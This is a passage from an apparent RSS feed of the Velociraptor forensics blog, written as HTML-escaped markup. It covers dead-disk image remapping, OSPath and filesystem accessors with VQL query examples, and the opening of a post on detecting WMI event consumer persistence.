directory.&lt;/p&gt;&#xA;&lt;p&gt;We can still perform the analysis as before however, by remapping the&#xA;mounted directory instead of a raw image.&lt;/p&gt;&#xA;&lt;p&gt;To demonstrate this process I will mount the flat image using the&#xA;Linux loopback driver and the built in Linux NTFS filesystem support.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo mount -o loop,offset=122683392 /mnt/flat /tmp/mnt/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can now generate a second remapping configuration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ./velociraptor-v0.6.4-linux-amd64 deaddisk --add_windows_directory /tmp/mnt/ /tmp/remapping2.yaml&#xA;velociraptor: Adding windows mounted directory at /tmp/mnt/&#xA;velociraptor: Checking for hive at /tmp/mnt/Windows/System32/Config/SOFTWARE&#xA;velociraptor: Checking for hive at /tmp/mnt/Windows/System32/Config/SYSTEM&#xA;velociraptor: Checking for hive at /tmp/mnt/Windows/System32/Config/SYSTEM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Velociraptor will inspect the directory and determine it is a Windows&#xA;image, then attempt to map the raw registry hives at the correct place&#xA;as before. The &lt;code&gt;C:&lt;/code&gt; drive remapping rule is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- type: mount&#xA;  description: &#39;Mount the directory /tmp/mnt/ on the C: drive (NTFS)&#39;&#xA;  from:&#xA;    accessor: file&#xA;    prefix: /tmp/mnt/&#xA;  &amp;quot;on&amp;quot;:&#xA;    accessor: file&#xA;    prefix: &#39;C:&#39;&#xA;    path_type: windows&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is an extremely capable triage and analysis tool which&#xA;works best when running live on the endpoint - where it can correlate&#xA;information from disk, memory and volatile system state. Velociraptor&#xA;has a vibrant community with powerful user contributed artifacts&#xA;designed for use in this context.&lt;/p&gt;&#xA;&lt;p&gt;However, sometimes we do not have the luxury of running directly on&#xA;the running endpoint, but have to rely instead on dead disk images of&#xA;the target system. The latest Velociraptor release makes it possible&#xA;to impersonate a live system based on information from the dead&#xA;disk. While this is not perfect (because a lot of the enrichment&#xA;information obtained from the live system is missing) for basic disk&#xA;focused forensic analysis, we are able to use most artifacts directly&#xA;without change.&lt;/p&gt;&#xA;&lt;p&gt;This feature opens Velociraptor to more traditional image based&#xA;forensic analysis use cases - these users are now able to leverage the&#xA;same artifacts we all use in live triage to quickly triage dead disk&#xA;images.&lt;/p&gt;&#xA;&lt;p&gt;Since this is such a new feature it is still considered experimental -&#xA;we value your feedback, bug reports and discussions.  If you would&#xA;like to try out these features in Velociraptor, It is available on&#xA;GitHub under an open source license. As always, please file issues on&#xA;the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;. You can also chat with us&#xA;directly on discord at &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Paths and filesystem accessors</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-03-21-paths/</link>
      <pubDate>Sun, 20 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-03-21-paths/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;This article discusses a feature available since 0.6.4 release.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Path handling is fundamental to forensic analysis, as a large amount&#xA;of relevant information is still kept on disk within a&#xA;filesystem. Superficially, We are all familiar with how paths work - a&#xA;path is typically a string that we can provide to some OS API (for&#xA;example the Windows &lt;code&gt;CreateFile()&lt;/code&gt; or Linux &lt;code&gt;open()&lt;/code&gt; API) which&#xA;facilitates interacting with a file or a directory on the filesystem.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the structure of this string is often not well defined&#xA;or consistent between operating systems! For example, on windows a&#xA;path has the following characteristics:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The path starts with a &amp;ldquo;drive letter&amp;rdquo; of the form &lt;code&gt;C:&lt;/code&gt; or &lt;code&gt;D:&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Path directories are separated by a backslash &lt;code&gt;\&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;There is no leading path separator (&lt;code&gt;C:\&lt;/code&gt; does not start with &lt;code&gt;\&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Directory names may not contain forward slashes, backslashes or wildcards.&lt;/li&gt;&#xA;&lt;li&gt;Filenames are generally case insensitive.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example &lt;code&gt;C:\Windows\System32\Notepad.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;On Linux things are a bit different:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Paths begin with the slash character (the root of the filesystem)&lt;/li&gt;&#xA;&lt;li&gt;Path directories are separated by forward slash&lt;/li&gt;&#xA;&lt;li&gt;Directory names may contain backslashes but these are &lt;strong&gt;not&lt;/strong&gt; path&#xA;separators! Filename may contain pretty much any character (except&#xA;null and forward slash).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example, a path looks like &lt;code&gt;/usr/bin/ls&lt;/code&gt;. However, since Linux can&#xA;have backslashes with filenames, the path &lt;code&gt;/C:\Windows/System32&lt;/code&gt; can&#xA;actually refer to a single directory named &lt;code&gt;C:\Windows&lt;/code&gt;!&lt;/p&gt;&#xA;&lt;p&gt;It gets even more complicated on windows, where a &lt;code&gt;device name&lt;/code&gt; may&#xA;appear as the first element of the path where it refers to a physical&#xA;device for example &lt;code&gt;\\.\C:\Windows&lt;/code&gt; means the &lt;code&gt;Windows&lt;/code&gt; directory&#xA;inside the filesystem on the device &lt;code&gt;\\.C:&lt;/code&gt; - Yes the device can&#xA;contain backslashes which are also path separators &lt;strong&gt;except&lt;/strong&gt; when&#xA;they refer to a device.&lt;/p&gt;&#xA;&lt;p&gt;A registry path has other rules:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It starts with the hive name, e.g. &lt;code&gt;HKEY_LOCAL_MACHINE&lt;/code&gt; or &lt;code&gt;HKLM&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Components are separated by backslashes&lt;/li&gt;&#xA;&lt;li&gt;While key names are analogous to directories, registry keys are&#xA;allowed to have forward slash characters.&lt;/li&gt;&#xA;&lt;li&gt;While Value name are analogous to files, value name may also have&#xA;backslashes!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example the following registry path is valid&#xA;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\&lt;/code&gt; &lt;code&gt;Windows Presentation Foundation\Namespaces\http://schemas.microsoft.com/netfx/2009/xaml/presentation&lt;/code&gt;&#xA;(with the last registry key being a URL) even though the registry key&#xA;contains forward slashes it is just one key component!&lt;/p&gt;&#xA;&lt;p&gt;With all these confusing rules we need to develop an abstraction that&#xA;allows Velociraptor to handle all these cases correctly.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-ospath-abstraction&#34;&gt;The OSPath abstraction&lt;/h2&gt;&#xA;&lt;p&gt;Recent Velociraptor releases, introduced the &lt;code&gt;OSPath&lt;/code&gt; abstraction to&#xA;handle various paths:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Internally paths are always a list of components. For example, the&#xA;windows path &lt;code&gt;C:\Windows\System32&lt;/code&gt; is represented internally as the&#xA;list of components &lt;code&gt;[&amp;quot;C:&amp;quot;, &amp;quot;Windows&amp;quot;, &amp;quot;System32&amp;quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A Filesystem is treated as a tree, and the path is simply the list&#xA;of components connecting each level in the tree.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;An &lt;code&gt;OSPath&lt;/code&gt; implements specific serialization and deserialization&#xA;methods: When we need to pass an OSPath object to the OS API we&#xA;need to serialize the abstract OSPath in a way that is appropriate&#xA;to the OS. Otherwise we prefer to retain the OSPath as an abstract&#xA;path as much as possible.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Each &lt;code&gt;OSPath&lt;/code&gt; has a specific flavor - controlling for the way it is&#xA;serialized to and from a string.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example, an OSPath with the following components &lt;code&gt;[&amp;quot;C:&amp;quot;, &amp;quot;Windows&amp;quot;, &amp;quot;System32&amp;quot;]&lt;/code&gt; will serialize to string:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A Windows &lt;code&gt;OSPath&lt;/code&gt; will serialize to &lt;code&gt;C:\Windows\System32&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A Linux &lt;code&gt;OSPath&lt;/code&gt; will serialize to &lt;code&gt;/C:/Windows/System32&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A Windows NTFS aware OSPath will serialize to&#xA;&lt;code&gt;\\.\C:\Windows\System32&lt;/code&gt; (i.e. device notation appropriate to the&#xA;NTFS raw accessor).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;the-glob-plugin&#34;&gt;The glob() plugin&lt;/h2&gt;&#xA;&lt;p&gt;One of the most commonly used plugins in Velociraptor is the &lt;code&gt;glob()&lt;/code&gt;&#xA;plugin. This plugin allows searching of filesystems using a glob&#xA;expression (containing wildcards).&lt;/p&gt;&#xA;&lt;p&gt;Consider the following query running on windows&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT OSPath&#xA;FROM glob(globs=&amp;quot;C:\\Windows\\*&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;glob()&lt;/code&gt; plugin applies the glob expression on the filesystem and&#xA;returns a single row for each matching file. Since release &lt;code&gt;0.6.4&lt;/code&gt;,&#xA;the raw &lt;code&gt;OSPath&lt;/code&gt; object is also available within VQL. While it may&#xA;appear that it is a simple string when serialized to JSON, it is in&#xA;fact an object with many convenient methods.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-21-paths//blog/2022/2022-03-21-paths/ospath.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The OSPath object&#34;&#xA;         width=&#34;1830&#34; height=&#34;587&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;ospath.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The OSPath object&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The OSPath object has some convenient properties:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;Components&lt;/code&gt; field contains the list of path components in the&#xA;path. You can index the component to identify a specific directory&#xA;or filename.  (negative indexes are counted from the end of the&#xA;component array).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;Basename&lt;/code&gt; property is a shorthand to the last component&#xA;(equivalent to &lt;code&gt;OSPath.Components[-1]&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;Dirname&lt;/code&gt; property is an OSPath representing the directory&#xA;containing the OSPath.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Path manipulation is very easy to do, since OSPath is overloading&#xA;the addition operator. The expression &lt;code&gt;OSPath.Dirname + &amp;quot;explorer.exe&amp;quot;&lt;/code&gt; produces another OSPath obtained by appending the&#xA;&lt;code&gt;explorer.exe&lt;/code&gt; component to the directory of the current OSPath.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;filesystem-accessors-and-ospath&#34;&gt;Filesystem accessors and OSPath&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor accesses filesystems by way of an &lt;code&gt;accessor&lt;/code&gt;. You can think&#xA;of an accessor as a specific driver that VQL can use to open a&#xA;path. All VQL plugins or functions that accept files will also accept&#xA;an accessor to use to open the file.&lt;/p&gt;&#xA;&lt;p&gt;Consider the following VQL query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT read_file(path=&amp;quot;C:/Windows/notepad.exe&amp;quot;, accessor=&amp;quot;file&amp;quot;)&#xA;FROM scope()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;read_file()&lt;/code&gt; VQL function reads raw data from the specified&#xA;file. It will call onto the &amp;ldquo;file&amp;rdquo; accessor and pass the provided path&#xA;to it as an opaque string.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; accessor is used to open files using the OS&#xA;APIs. Therefore, it will interpret the path string according to the OS&#xA;convention it is running on (i.e. on Windows it will create a Windows&#xA;flavor of OSPath). However, were we to use another accessor, the&#xA;string path will be interpreted differently by the accessor.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Interpreting paths &#34;&gt;&lt;p&gt;The most important takeaway from this is that when an accessor&#xA;receives a string path, it will parse it into an OSPath internally&#xA;according to its own rules.&lt;/p&gt;&#xA;&lt;p&gt;When an accessor receives an already parsed OSPath object, it may&#xA;directly use it (since no parsing is required). Therefore in general,&#xA;once an OSPath object is produced in the query, the same OSPath object&#xA;should be passed around to other plugins/vql functions.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT read_file(filename=OSPath, accessor=&amp;quot;file&amp;quot;, length=5)&#xA;FROM glob(globs=&amp;quot;C:\\Windows\\notepad.exe&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;nested-accessors-and-pathspecs&#34;&gt;Nested accessors and pathspecs&lt;/h2&gt;&#xA;&lt;p&gt;Many VQL accessors require additional information to be able to&#xA;work. For example consider the &lt;code&gt;zip&lt;/code&gt; accessor. This accessor is used&#xA;to read zip archive members as if they were simple files. In order to&#xA;open an archive member we need several pieces of information:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The path to the zip file itself.&lt;/li&gt;&#xA;&lt;li&gt;An accessor to use to open the zip file container.&lt;/li&gt;&#xA;&lt;li&gt;The path to the zip member inside the container to open.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The &lt;code&gt;zip&lt;/code&gt; accessor therefore requires a more complex OSPath object&#xA;containing additional information about the &lt;code&gt;Delegate&lt;/code&gt; (i.e. the path&#xA;and accessor that the zip accessor will delegate the actual reading&#xA;to). We call this more complex path specification a &lt;code&gt;pathspec&lt;/code&gt; as it&#xA;specifies more precisely what the accessor should do. In a VQL query&#xA;we may build a pathspec from scratch using the &lt;code&gt;pathspec&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT read_file(&#xA;  filename=pathspec(DelegateAccessor=&amp;quot;file&amp;quot;,&#xA;                    DelegatePath=&amp;quot;F:/hello.zip&amp;quot;,&#xA;                    Path=&amp;quot;/hello.txt&amp;quot;),&#xA;  accessor=&amp;quot;zip&amp;quot;, length=5)&#xA;FROM scope()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the above example I am calling the &lt;code&gt;read_file()&lt;/code&gt; VQL function, and&#xA;building an OSPath object directly using the &lt;code&gt;pathspec()&lt;/code&gt; VQL&#xA;function.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;zip&lt;/code&gt; accessor receives the new OSPath object and&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Will open the zip container itself using the &lt;code&gt;Delegate&lt;/code&gt;: i.e. the&#xA;&amp;ldquo;file&amp;rdquo; accessor, with a path of &amp;ldquo;F:/hello.zip&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;After parsing the zip file, the &lt;code&gt;zip&lt;/code&gt; accessor will open the member&#xA;within it specified by the &lt;code&gt;Path&lt;/code&gt; field. For zip files, the path is&#xA;interpreted as a forward slash separated unix like path (according&#xA;to the zip specification). In this case the zip accessor will open&#xA;a member called &lt;code&gt;hello.txt&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;nesting-ospath-objects&#34;&gt;Nesting OSPath objects.&lt;/h2&gt;&#xA;&lt;p&gt;We can combine the previous two queries to search zip files&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT OSPath,&#xA;   read_file(filename=OSPath, accessor=&amp;quot;zip&amp;quot;, length=5)&#xA;FROM glob(&#xA;  globs=&amp;quot;/*.txt&amp;quot;,&#xA;  root=pathspec(DelegateAccessor=&amp;quot;file&amp;quot;, DelegatePath=&amp;quot;F:/hello.zip&amp;quot;, Path=&amp;quot;/&amp;quot;),&#xA;  accessor=&amp;quot;zip&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This time we provide the &lt;code&gt;glob()&lt;/code&gt; plugin the root (where searching&#xA;will begin) as a full OSPath object that we construct to represent the&#xA;top level of the zip archive (i.e. globing will proceed within the zip&#xA;file).&lt;/p&gt;&#xA;&lt;p&gt;We can transparently now pass the OSPath object that glob will return&#xA;directly into any VQL function or plugin that accepts a file&#xA;(e.g. &lt;code&gt;read_file()&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-21-paths//blog/2022/2022-03-21-paths/nested_pathspec.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Handling nested OSPath objects&#34;&#xA;         width=&#34;1781&#34; height=&#34;627&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;nested_pathspec.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Handling nested OSPath objects&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The OSPath object is now capable of more complex path manipulations:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;OSPath.Dirname&lt;/code&gt; property represents the fully qualified OSPath&#xA;used to represent the container directory - we can simply pass it&#xA;directly to any plugins that deal with directories.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Note that more complex &lt;code&gt;Pathspec&lt;/code&gt; based paths are represented as a&#xA;JSON encoded object. It is ok to pass the stringified version the&#xA;OSPath around to plugins because they will automatically parse the&#xA;string into an OSPath object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34; Glob&amp;#39;s root parameter &#34;&gt;&lt;p&gt;In previous versions of Velociraptor it was possible to pass a&#xA;pathspec to the glob parameter (e.g. to glob within a zip file)&#xA;however since 0.6.4 this is not allowed. Glob expressions are always&#xA;flat strings (i.e. a glob is not a pathspec). A pathspec is allowed to&#xA;be passed to the root parameter to indicate where searching should&#xA;start from.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;compatibility-with-previous-releases&#34;&gt;Compatibility with previous releases&lt;/h2&gt;&#xA;&lt;p&gt;Previously the &lt;code&gt;glob()&lt;/code&gt; plugin would emit the &lt;code&gt;FullPath&lt;/code&gt; column as a&#xA;string representing the serialized version of each file. This string&#xA;was passed to other plugins/vql functions which parsed it again. This&#xA;lead to a lot of unnecessary path serialization and parsing, but more&#xA;importantly it was difficult to maintain the correct &amp;ldquo;flavor&amp;rdquo; of the&#xA;path throughout the query and required a lot of complex path&#xA;manipulations to extract specific parts of the path.&lt;/p&gt;&#xA;&lt;p&gt;It should be more efficient to pass the raw OSPath object everywhere&#xA;the old FullPath was used. However 0.6.4 onward still provide the&#xA;FullPath column for backwards compatibility. The overall effect is&#xA;that artifacts originally written for older versions of VQL should&#xA;continue to work on 0.6.4. However newer artifacts written for 0.6.4&#xA;will not run on older clients.&lt;/p&gt;&#xA;&lt;p&gt;Previously nested paths were encoded with URLs, but this is now&#xA;deprecated and future VQL queries should not use URLs to encode nested&#xA;paths.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34; Supporting older clients &#34;&gt;&lt;p&gt;Many people upgrade their Velociraptor server more frequently than&#xA;their clients. Usually, newer versions of Velociraptor maintains&#xA;reasonable backwards compatibility with older clients so most things&#xA;continue to work. However in 0.6.4, the introduction of the &lt;code&gt;OSPath&lt;/code&gt;&#xA;column means that newer artifacts will fail on older clients (since&#xA;VQL is evaluated on the client).&#xA;See our &lt;a href=&#34;https://www.velociraptor-docs.org/docs/overview/support/&#34;&gt;Support Policy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To help with the migration process, we made the older versions of&#xA;artifacts easily available in newer servers. If you still have older&#xA;clients deployed, you should import older VQL artifacts into &lt;code&gt;0.6.4&lt;/code&gt;&#xA;server using the &lt;code&gt;Server.Import.PreviousReleases&lt;/code&gt; server&#xA;artifact. This will import the old artifacts under a name reflecting&#xA;their version so they may be collected from older clients.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;Path representation is surprisingly much more complex that it first&#xA;appears. While paths are strings, internally Velociraptor treats them&#xA;as a sequence of components with different flavors controlling how&#xA;they are serialized and represented. This affords the VQL query a more&#xA;powerful way to manipulate paths and build new paths based on them.&lt;/p&gt;&#xA;&lt;p&gt;For more complex accessors, paths are represented as a JSON serialized&#xA;&lt;code&gt;pathspec&lt;/code&gt; object, describing a delegate container path as well. Using&#xA;the &lt;code&gt;OSPath&lt;/code&gt; object methods does the right thing even for more complex&#xA;path and makes it a lot easier to manipulate (for example&#xA;&lt;code&gt;OSPath.Dirname&lt;/code&gt; is a valid and correct &lt;code&gt;OSPath&lt;/code&gt; for the containing&#xA;directory, even for more complex pathspec based paths)&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>WMI Event Consumers: what are you missing?</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing/</link>
      <pubDate>Wed, 12 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing/</guid>
      <description>&lt;p&gt;WMI Eventing is a fairly well known technique in DFIR, however some&#xA;tools may not provide the coverage you expect. This article covers&#xA;WMI eventing visibility and detection including custom namespaces.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/00SelectionBias.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Selection bias in WWII: missing what is not collected.&#34;&#xA;         width=&#34;1000&#34; height=&#34;681&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;00SelectionBias.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Selection bias in WWII: missing what is not collected.&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;&#xA;&lt;p&gt;There has been a fair bit of research and observations of WMI eventing&#xA;in field over the last years. In short, a WMI event consumer is a&#xA;method of subscribing to certain system events, then enabling an action&#xA;of some sort. Common adversary use cases may include persistence, privilege&#xA;escalation, or as a collection trigger. Represented as ATT&amp;amp;CK T1546.003&#xA;this technique has been observed in use from APT, through to trash-tic&#xA;worm and coin miner threats.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/01WMIOverview.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;WMI Eventing: 3 system classes&#34;&#xA;         width=&#34;1268&#34; height=&#34;614&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;01WMIOverview.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    WMI Eventing: 3 system classes&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;There are three system classes in every active event consumer:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;__EventFilter is a WQL query that outlines the trigger event of&#xA;interest.&lt;/li&gt;&#xA;&lt;li&gt;__EventConsumer is an action to perform upon triggering an event.&lt;/li&gt;&#xA;&lt;li&gt;__FilterToConsumerBinding is the registration mechanism that binds&#xA;a filter to a consumer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Most detection will focus on collecting the WMI classes in root/subscription&#xA;and, in some tools root/default WMI namespaces.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/02Autoruns.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Autoruns 14.07: detects root/default and root/subscription namespace WMI event consumers&#34;&#xA;         width=&#34;1056&#34; height=&#34;362&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;02Autoruns.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Autoruns 14.07: detects root/default and root/subscription namespace WMI event consumers&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;custom-namespaces&#34;&gt;Custom Namespaces&lt;/h4&gt;&#xA;&lt;p&gt;At Blackhat 2018 Lee Christensen and Matt Graeber presented &amp;ldquo;Subverting&#xA;Sysmon: Application of a Formalized Security Product Evasion Methodology&amp;rdquo;.&#xA;This excellent talk focused on defense evasion methodology and highlighted&#xA;potential collection gaps in telemetry tools around WMI eventing. In this&#xA;case, the focus was on Sysmon behaviour of collection only 